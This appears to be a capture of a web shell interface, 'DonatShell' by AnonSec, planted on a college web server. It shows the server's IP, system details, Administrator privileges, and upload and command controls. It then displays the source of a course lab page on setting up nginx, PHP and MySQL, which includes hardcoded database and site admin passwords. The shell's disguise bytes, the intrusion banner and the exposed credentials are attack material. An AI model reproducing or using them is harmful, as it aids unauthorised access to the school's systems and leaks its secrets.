GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2146/Labs/Lab01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2146/Labs/Lab01//Lab01.phpinc
<?
// JimMartinson/CST2146/Labs/Lab01.phpinc

$js .= ',./Lab01.js';
$css .= ',colorCode.css';

#d_Var('$f_task',$f_task,'df');
#d_Var('$f_subtask',$f_subtask,'df');

// Process $f_subtask == 'Save path information'
if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) {
	$EvaluationSubmission_PROCESS = false;
	require('getLabInfo.phpinc');
	require('saveLabInfo.phpinc');
}
require('getLabInfo.phpinc');

$checkFileUpload = false;
#$showEvaluationVariables = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $classNumber.'_'.$saveFilename.'_Login.png';
$UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3));
$PW = $f_sId;

$ShowSpanCountBefore = false;
//$ShowSpanCountBefore = true;
// <span class="count">

#d_Var("\$_SESSION",$_SESSION,'d+');
#d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+');

?>
<fieldset><legend>Description</legend>
	The purpose of this lab is to setup your computer to run a local copy of the Scheduler site for class.
	<br>
	<span class="note normal">
		There are a lot of steps and variations that can happen and I will try to cover them below.
		<br>No matter what I do, you may need help to get this all working. 
		If you need help, don't be shy; Call me, or email me to set up a web meeting where we can talk.
	</span>
	<br>
	<?=$gradeNote?>
	<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
	<fieldset><legend>You need to make some decisions:</legend>
		<ul>
			<li>Which web server will you use?<br>
				If you already have Apache, Nginx, or a different web server installed on your computer, you can use that one.
				If you don't have one, then you can use Nginx as it is easier to setup than Apache.
				There are instructions for installing or configuring Nginx for the site.
				There are instructions configuring Apache for the site.
			</li>
			<li>Which version of PHP will you use?<br>
				If you already have PHP installed, you can use that. Even if you do have PHP installed, you could use a different version for the site.
				If you don't have PHP installed, I have a zip file of PHP version 7.1.0 that you can use.
				There are instructions for installing or configuring PHP for the site.
			</li>
			<li>Where are your going to put your local copy of the site?</li>
			<li>Which version of MySQL will you use?<br>
				If you already have MySQL installed, you can use that. Even if you do have MySQL installed, you could use a different version for the site.
				If you don't have MySQL installed, There are instructions for installing or configuring MySQL for the site.
			</li>
			<li>What software will you use to edit the site?<br>
				There are no instructions for this, but I am going to assume you are using Visual Studio Code (vscode).
				Some of your choices (like Dreamweaver) have methods for syncing your local files with the site.
			</li>
			<li>What software are you going to use for file transfer and syncing between your local files and the site?
				<br>I suggect using <a href="https://winscp.net/eng/index.php">WinSCP</a>.
			</li>
		</ol>
	</fieldset>
	<fieldset><legend>The lab needs some information:</legend>
		This will help to customize the instructions for your setup.
			<input type="hidden" name="f_subtask" value="Save path information">
			<table>
				
				<tr>
					<td class="right">Enter the path to your web server folder:</td>
					<td><input type="text" size="40" name="f_webPath" id="inp_webPath" value="<?=$_SESSION['CST2146']['webPath']?>"> <? if (!$pathDataStored) { ?><span class="note">(Using a default value)</span><? } ?></td>
				</tr>
				<tr>
					<td class="note" colspan="2">This is the path to where you will install, or where it is already installed.</td>
				</tr>
			
				<tr>
					<td class="right">Enter the path to your PHP folder:</td>
					<td><input type="text" size="40" name="f_phpPath" id="inp_phpPath" value="<?=$_SESSION['CST2146']['phpPath']?>"> <? if (!$pathDataStored) { ?><span class="note">(Using a default value)</span><? } ?></td>
				</tr>
				<tr>
					<td class="note" colspan="2">This is the path to where you will install, or where it is already installed.</td>
				</tr>
		
				<tr>
					<td class="right">Enter the path to your local copy of the site:</td>
					<td><input type="text" size="40" name="f_sitePath" id="inp_sitePath" value="<?=$_SESSION['CST2146']['sitePath']?>"> <? if (!$pathDataStored) { ?><span class="note">(Using a default value)</span><? } ?></td>
				</tr>
				<tr>
					<td class="note" colspan="2">This is the path to where you have or will create the folder. If your are using a new install of Nginx, I recommend using the html folder inside of nginx.</td>
				</tr>
	
				<tr><td class="center" colspan="2"><? if ($pathDataStored) { ?><input type="submit" value="Update path information"><? } else { ?><input type="submit" value="Save path information"><? }?></td></tr>
			</table>
	</fieldset>
<ol class="count">
	<!-- 1 -->
	<li>You need to configure your computer so it understands the local scheduler domain name (scheduler.test).
		<span class="note">
			Usually domain names are converted to an IP address using DNS.
			The scheduler.test domain does not exist in the real world, so we are going to add it to your local hosts file.
			The hosts file allows you to setup domain names locally or force a domain name to an IP address.
		</span>
		<ol>
			<li>Open a text editor as Administrator (Windows) or elevated to root (Linux/MAC).</li>
			<li>Open the file <b class="copyText">C:\Windows\System32\drivers\etc\hosts</b> (Windows) or <b class="copyText">/etc/hosts</b> (Linux/MAC).</li>
			<li>Insert these lines at the bottom of the file:
				<pre class="samp copyText" style=""># CST 2146: Entry to run the site locally with a name.
127.0.0.1	scheduler.test</pre>
			</li>
			<li>Save the change.</li>
		</ol><span class="note">You can now enter scheduler.test in a browser and it will connect to your local web server.</span>
	</li>
	<!-- 2 -->
	<li><b>If you are not installing nginx on Windows, skip this step.</b>
		<br>If you are using Linux or a MAC and need to install a web server, I can help you.
		<br>If you are installing nginx on Windows, then you need to download and unzip nginx.
		<ol>
			<li>Download the <a href="https://cst.ridgewater.edu/JimMartinson/CST2146/Resources/nginx.zip">nginx.zip file</a>.</li>
			<li>Extract nginx.zipfile. <span class="note">I put mine in a C:\CST2146\nginx folder.</span>
				<br><span class="note normal">When you extract the nginx.zip, it will create an nginx folder with all of the nginx files inside that folder.</span>
			</li>
			<li>Open that nginx folder and move all of the files to the <b><?=$_SESSION['CST2146']['webPath']?></b> folder.</li>
		</ol>
	</li>
	<!-- 3 -->
	<li><b>If you are not using nginx, skip this step.</b>
		<br>If you are using nginx then you need to add this to the nginx.conf file:
		<ol>
			<li>Open the <b class="copyText"><?=$_SESSION['CST2146']['webConfig']?><?=$_SESSION['CST2146']['folderDelimiter']?>conf<?=$_SESSION['CST2146']['folderDelimiter']?>nginx.conf</b> file in a text editor.</li>
			<li>Add this text after one of the other server blocks:
<pre class="samp copyText">    # scheduler.test Listening on port 80 and using php 7.1.0 on port 9123.
    server {
        listen       80;
        server_name  scheduler.test;

        location / {
            root   <?=$_SESSION['CST2146']['siteRelativeConfig']?>;
            index  index.php index.html index.htm;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   <?=$_SESSION['CST2146']['siteRelativeConfig']?>;
        }

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9123
        location ~ \.php$ {
            root           <?=$_SESSION['CST2146']['siteRelativeConfig']?>;
            fastcgi_pass   127.0.0.1:9123;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include        fastcgi_params;
        }
    }</pre>
			</li>
			<li>Save the change.</li>
		</ol>
	</li>
	<!-- 4 -->
	<li><b>If you are not using Apache, skip this step.</b>
		<br>If you are using Apache then you need to add this to the httpd.conf file:
		<ol>
			<li>Open the <b class="copyText"><?=$_SESSION['CST2146']['webPath']?><?=$_SESSION['CST2146']['folderDelimiter']?>conf<?=$_SESSION['CST2146']['folderDelimiter']?>httpd.conf</b> file in a text editor.</li>
			<li>Add this text at the end of the file:
<pre class="samp copyText"># scheduler.test Listening on port 80 and using php 7.1.0 on port 9123.
&lt;VirtualHost *:80&gt; 
      DocumentRoot <?=$_SESSION['CST2146']['siteConfig']?> 
      ServerName schedule.test      
      ErrorLog logs/schedule.test.Error.log
      CustomLog logs/schedule.test.Access.log common
      DirectoryIndex index.php index.html index.htm
      &lt;Directory <?=$_SESSION['CST2146']['siteConfig']?>/&gt; 
            Options All +MultiViews
            AllowOverride All
            Require all granted
      &lt;/Directory&gt;
&lt;/VirtualHost&gt;
	</pre>
				<span class="note">If your Apache server is not listening on port 80, you will need to change the 80 in the VirtualHost directive to a port it is listening on.</span>
			</li>
			<li>Save the change.</li>
		</ol>
	<!-- 5-->
	<li><b>If you are not installing php or MySQL on Windows, skip this step.</b>
		If you are installing either PHP or MySQL on Windows, you need to install the 2015-2022 VC redistributable:
		<ol>
			<li>Download the <a href="https://cst.ridgewater.edu/JimMartinson/CST2146/Resources/2015-2022_VC_redist.x64.exe">installer (2015-2022_VC_redist.x64.exe)</a>.</li>
			<li>Run the 2015-2022_VC_redist.x64.exe file. <span class="note">This will install the C++ redistributable files that are needed by PHP and MySQL.</span></li>
		</ol>
	</li>
	<!-- 6 -->
	<li><b>If you are not installing php on Windows, skip this step.</b>
		<br>If you are using Linux or a MAC and need to install php, I can help you.
		<br>If you are installing php on Windows, then you need to download and unzip php.
		<ol>
			<li>Download the <a href="https://cst.ridgewater.edu/JimMartinson/CST2146/Resources/php7.zip">php7.zip file</a>.</li>
			<li>Extract php7.zip to where you want php to run from. <span class="note">I put mine in a C:\CST2146\php7 folder.</span>
				<br><span class="note normal">When you extract the php7.zip, it will create an php7 folder with all of the php files inside that folder.</span>
			</li>
			<li>Open that php7 folder and move all of the files to the <b><?=$_SESSION['CST2146']['phpPath']?></b> folder.</li>
			<li>Extract php7.zip to where you want php to run from. <span class="note">I put mine in a C:\CST2146 folder.</span>
				<br><span class="note normal">When you extract the php7.zip, it will create an php7 folder with all of the php7 files inside that folder. You can always move the php7 folder somewhere else after extraction.</span>
			</li>
		</ol>
	</li>
	<!-- 7 -->
	<li><b>If you did not install nginx, skip this step.</b>
		<br>If you did install nginx, then you need to install nginx.exe as the service <b>nginx_server</b>.
		<ol>
			<li>Open a command window as administrator.</li>
			<li>Change to the nginx directory with the command <cmd class="copyText">cd <?=$_SESSION['CST2146']['webPath']?></cmd></li>
			<li>Run the command <cmd class="copyText">nssm install nginx_server</cmd> <span class="note">There is an underscore(_) between nginx and server.</span></li>
			<li>Under the Applcation tab enter the following:
				<ul>
					<li>Path: <b class="copyText"><?=$_SESSION['CST2146']['webPath']?><?=$_SESSION['CST2146']['folderDelimiter']?>nginx.exe</b></li>
					<li>Startup directory: <b class="copyText" id="b_nginxFolder"><?=$_SESSION['CST2146']['webPath']?></b></li>
				</ul>
			</li>
			<li>Click <b>Install service</b></li>
		</ol>
		<span class="note">If you get this wrong, you can remove the service by running the command: <cmd class="copyText">nssm remove nginx_server</cmd> and try installing the service again.</span>
	</li>
	<!-- 8 -->
	<li><b>Install php-cgi.exe as the service nginx_php-cgi</b> <span class="note">If you already had nginx/php installed then your can skip this step.</span>
		<ol>
			<li>Open a command window as administrator.</li>
			<li>Change to the nginx directory with the command <cmd class="copyText">cd <?=$_SESSION['CST2146']['webPath']?></cmd></li>
			<li>Run the command <cmd class="copyText">nssm install nginx_php-cgi</cmd> <span class="note">There is an underscore(_) between nginx and php-cgi.</span></li>
			<li>Under the Applcation tab enter the following:
				<ul>
					<li>Path: <b class="copyText"><?=$_SESSION['CST2146']['phpPath']?><?=$_SESSION['CST2146']['folderDelimiter']?>php-cgi.exe</b></li>
					<li>Startup directory: <b class="copyText" id="b_phpFolder"><?=$_SESSION['CST2146']['phpPath']?></b></li>
					<li>Arguments: <b class="copyText">-b 127.0.0.1:9123</b></li>
				</ul>
			</li>
			<li>Click <b>Install service</b></li>
		</ol>
		<span class="note">If you get this wrong, you can remove the service by running the command: <cmd class="copyText">nssm remove nginx_php-cgi</cmd> and try installing the service again.</span>
	</li>
	<!-- 9 -->
	<li><b>If you are not installing MySQL on Windows, skip this step.</b>
		<br>If you are using Linux or a MAC and need to install MySQL, I can help you.
		<br>If you are installing MySQL on Windows, then you need to download and install MySQL.
		<ol>
			<li>Download the <a href="https://cst.ridgewater.edu/JimMartinson/CST2146/Resources/mysql-installer-community-8.0.19.0.msi">MySQL installer (mysql-installer-community-8.0.19.0.msi)</a>.</li>
			<li>Run the <b>mysql-installer-community-8.0.19.0.msi</b> installer.</li>
			<li>Do a <b>Custom install</b> and install the <b>MySQL Server</b> and <b>MySQL Workbench</b>.</li>
			<li>Then perform the configuration. Only two changes need to be made:
				<ol>
					<li>Enter a password for the root account. <span class="note">Do not forget this password!</span>
						<br>
						<? showBegin('See example Accounts and Roles screen'); ?><br>
						<img src="images/MySQLConfigPassword.png" width="789" height="591" alt="">
						<? showEnd (); ?></li>
					<li>Change the service name to <b>MySQL</b>.
						<br>
						<? showBegin('See example Windows Service screen'); ?><br>
						<img src="images/MySQLConfigServiceName.png" width="788" height="591" alt="">
						<? showEnd (); ?></li>
				</ol>
			</li>
		</ol>
	</li>
	<!-- 10 -->
	<li>Import the scheduler database.
		<ol>
			<li>Download the <a href="https://cst.ridgewater.edu/JimMartinson/CST2146/Resources/2023-03-28.sql">scheduler database SQL file (2023-03-28.sql)</a>.</li>
			<li>Run <b>MySQL Workbench</b>.</li>
			<li>Open the <b>Local instance MySQL</b> connection.</li>
			<li>Open the scheduler database sql file (<b>File/Open SQL Script</b> and select the 2023-03-28.sql file.</li>
			<li>Run the script to create the database.</li>
		</ol>
	</li>
	<!-- 11 -->
	<li>Create the scheduler user.
		<ol>
			<li>Run <b>MySQL Workbench</b>.</li>
			<li>Select <b>Server/Users and Privileges</b>.</li>
			<li>Select <b>Add Account</b>.</li>
			<li>The <b>Login Name</b> is <b class="copyText">scheduler</b> and the <b>Password</b> is <b class="copyText">Scheduler2146</b>.</li>
			<li>Then select the <b>Schema Privileges</b> tab.</li>
			<li>Select <b>Add Entry...</b>.</li>
			<li>Click <b>Selected schema</b> and select the <b>scheduler</b> database.</li>
			<li>Click <b>Select "ALL"</b>.</li>
			<li>Click <b>Apply</b> to create the user and assign privileges.</li>
		</ol>
		<span class="note normal">If you have problems logging in you may need to run this query in Workbench: <span class="code nowrap copyText">ALTER USER scheduler IDENTIFIED WITH mysql_native_password BY 'Scheduler2146';</span></span>
	</li>
	<!-- 12 -->
	<li>Download the Scheduler website:
		<ol>
			<li>Select and install an ftp client of your choice. I suggect using <a href="https://winscp.net/eng/index.php">WinSCP</a></li>
			<li>Configure the ftp client for ftp to the cst.ridgewater.edu website:
				<ul>
					<li>Your username is <b><?=$UN?></b></li>
					<li>Your password is <b><?=$PW?></b></li>
				</ul>
			</li>
			<li>Download the site to your local computer.</li>
		</ol>
	</li>
	<!-- 13 -->
	<li>Demonstrate that your site works.
		<ol>
			<li>Run a browser</li>
			<li>Enter <b class="copyText">http://scheduler.test</b></li>
			<li>Login to the site. The user is <b class="copyText">Admin</b> and the password is <b class="copyText">nimda</b>.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$uploadFilename?></b>.
				<br>
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/Login.png" width="900" height="405" alt=""/>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 14 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?> onclick="return checkFileUpload(this);"> for grading.</li>
		</ol>
	</li>
</ol>
	
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team